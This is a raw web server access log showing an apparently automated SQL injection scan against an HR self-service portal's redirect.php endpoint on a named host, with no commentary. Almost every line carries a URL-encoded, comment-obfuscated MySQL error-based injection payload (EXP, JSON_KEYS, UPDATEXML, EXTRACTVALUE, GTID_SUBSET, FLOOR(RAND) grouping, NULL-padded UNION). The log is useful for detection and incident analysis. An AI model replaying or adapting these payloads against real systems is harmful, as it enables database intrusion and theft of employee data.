100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x59755545%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67465a72%29%29x%29%29--%2F%2A%2A%2FNki7&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6e734e73%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a667572%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FuJ0d&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6e734e73%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a667572%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FuJ0d&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x55717751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556d4a6c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKNgO%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x55717751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556d4a6c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKNgO%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x71504162%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65375645%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FxDFz&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x71504162%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65375645%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FxDFz&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x426e4643%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45436f75%29%29%2C1%29--%2F%2A%2A%2Fe8hO&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x426e4643%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45436f75%29%29%2C1%29--%2F%2A%2A%2Fe8hO&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x43313054%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e49614e%29%29%2C1%29--%2F%2A%2A%2FUWbp&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x43313054%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e49614e%29%29%2C1%29--%2F%2A%2A%2FUWbp&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5270614b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75447658%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FQgAq&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5270614b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75447658%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FQgAq&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x71684e4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5144774d%29%2C5431%29--%2F%2A%2A%2FQdEb&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x71684e4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5144774d%29%2C5431%29--%2F%2A%2A%2FQdEb&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x397a4f6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37623735%29%2C5431%29--%2F%2A%2A%2FUFpJ&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x397a4f6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37623735%29%2C5431%29--%2F%2A%2A%2FUFpJ&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x646f6c38%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3058484d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fkr1g&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x646f6c38%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3058484d%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fkr1g&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x56477a39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71685332%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FmkhH%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x56477a39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71685332%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FmkhH%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x39633879%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65314d49%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F1f7J&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x39633879%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65314d49%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F1f7J&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x67616762%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48706e4e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FXKcQ&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:01 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x67616762%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48706e4e%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FXKcQ&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x79327330%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x664b684f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FCDrK&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x79327330%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x664b684f%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FCDrK&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x396f5153%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52617170%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FaSqk&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x396f5153%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52617170%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FaSqk&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x644a7670%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x634d6975%29%2C6420%29--%2F%2A%2A%2F9CwT&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x644a7670%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x634d6975%29%2C6420%29--%2F%2A%2A%2F9CwT&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4b62546b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546f6b55%29%2C6420%29--%2F%2A%2A%2FeWwW&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4b62546b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x546f6b55%29%2C6420%29--%2F%2A%2A%2FeWwW&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x55717751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x556d4a6c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FKNgO%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:02 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
